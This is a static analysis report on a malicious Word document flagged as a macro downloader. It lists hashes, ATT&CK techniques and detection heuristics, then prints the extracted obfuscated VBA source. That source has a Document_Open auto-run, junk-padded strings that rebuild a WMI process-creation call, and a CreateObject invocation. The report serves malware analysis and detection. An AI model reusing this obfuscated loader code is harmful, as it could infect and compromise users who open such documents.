Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 984af0aaf47056d7…

MALICIOUS

Office (OLE)

176.9 KB Created: 2020-08-18 14:04:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 2213960e4ea9bd2067da296cee6efb90 SHA-1: 3b669020d6afb95c166df67b5d01db05f03203ad SHA-256: 984af0aaf47056d71dfeb69425f6f43edadbbd6c0ebc19447b59ac5b6341e13d
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The presence of the 'Doc.Downloader.Generic-9375099-0' ClamAV signature further supports this. The VBA code appears obfuscated, but the overall pattern suggests it is designed to execute a secondary payload. The document is likely delivered as a spearphishing attachment.

Heuristics 7

  • ClamAV: Doc.Downloader.Generic-9375099-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-9375099-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11654 bytes
SHA-256: a8aa0cde8999b6a90e6234539eb9b6af2a6861adf2b93129e27c3ff87210f844
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "R1ajqapi4jl8m"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Kfb7gutwdv84o.Ktnxszp08higoz
End Sub


Attribute VB_Name = "Kfb7gutwdv84o"
Attribute VB_Base = "0{B957AC42-393F-484C-8CF7-BB2B322DA236}{3D53EF26-1CF1-4C21-9E40-218D621C2A75}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Ktnxszp08higoz()
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 780
Wtt53h6q91i6fbphn = 655
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
C3rsdmhzkj9yvk2xo = Vef5eza6ahyw6o
Sl85qkoj872c2 = Kfb7gutwdv84o.HelpContextId + 50 + 50
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 981
Wtt53h6q91i6fbphn = 497
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
R4rswhclmcpc = Vef5eza6ahyw6o
Njo9v_6enhi4l = ChrW(Sl85qkoj872c2 + (15))
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 901
Wtt53h6q91i6fbphn = 232
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
Ej2u72_75r7turc7q5 = Vef5eza6ahyw6o
K09ddqhf000t8 = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Njo9v_6enhi4l + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Kfb7gutwdv84o.Hprhke3jdrunh0 + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 191
Wtt53h6q91i6fbphn = 84
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
Wwkc6e_15gzksqvna = Vef5eza6ahyw6o
Gudeqbofsfte2i4rb = Cncwquasjbp3fnx(K09ddqhf000t8)
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 974
Wtt53h6q91i6fbphn = 899
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
Dnz3d_ibll3zfi2kv6 = Vef5eza6ahyw6o
Set Bsi9a2y8xfz = CreateObject(Gudeqbofsfte2i4rb)
   For Dh30h7r_bi7jlg12vg = 5 To 62
DoEvents
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Debug.Print (CStr(Atazay6hdobzp7f3f) & CStr(Ddj0v9rk_pdkgwnu6w))
Next Dh30h7r_bi7jlg12vg
Vef5eza6ahyw6o = 824
Wtt53h6q91i6fbphn = 347
Vef5eza6ahyw6o = Vef5eza6ahyw6o + Wtt53h6q91i6fbphn
V1rh67atq9tgk = Vef5eza6ahyw6o
Exvol301k40d = Kfb7gutwdv84o.Bp_fwldr64dz5iho.ControlTipText
... (truncated)